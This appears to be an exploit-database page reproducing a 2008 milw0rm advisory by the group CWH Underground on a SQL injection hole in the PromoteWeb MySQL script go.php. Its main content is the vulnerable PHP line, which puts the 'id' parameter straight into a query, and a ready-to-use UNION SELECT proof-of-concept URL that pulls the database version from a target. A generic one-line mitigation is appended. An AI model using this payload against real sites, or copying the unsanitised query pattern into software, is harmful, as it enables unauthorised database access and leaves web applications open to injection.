PromoteWeb MySQL (go.php id) Remote SQL Injection Vulnerability

vendor:

MySQL

by:

CWH Underground

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: MySQL

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PromoteWeb MySQL (go.php id) Remote SQL Injection Vulnerability

A vulnerability exists in PromoteWeb MySQL, which allows an attacker to inject arbitrary SQL commands via the 'id' parameter in the 'go.php' script. Magic Quote must be turned off for the exploit to work. The exploit can be triggered by sending a specially crafted HTTP request containing malicious SQL commands to the vulnerable server. The result of the SQL injection will appear in a new window with the URL http://[result]/.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

===================================================================
  PromoteWeb MySQL (go.php id) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : PromoteWeb MySQL
DOWNLOAD    : http://php.deeserver.net/download/get/23/promote.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (go.php)
-----------------------------------

$sql = "select * from promote where No='$id'";

---------
 Exploit
---------

[+] http://[Target]/[promote]/go.php?id=[SQL Injection]


------
 POC
------

[+] http://[Target]/[promote]/go.php?id=1'/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8/**/FROM/**/promote/**/WHERE/**/No='1


Note!! Result of SQL Injection will appear new window with http://[result]/ 
Example: http://5.0.51a/


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26]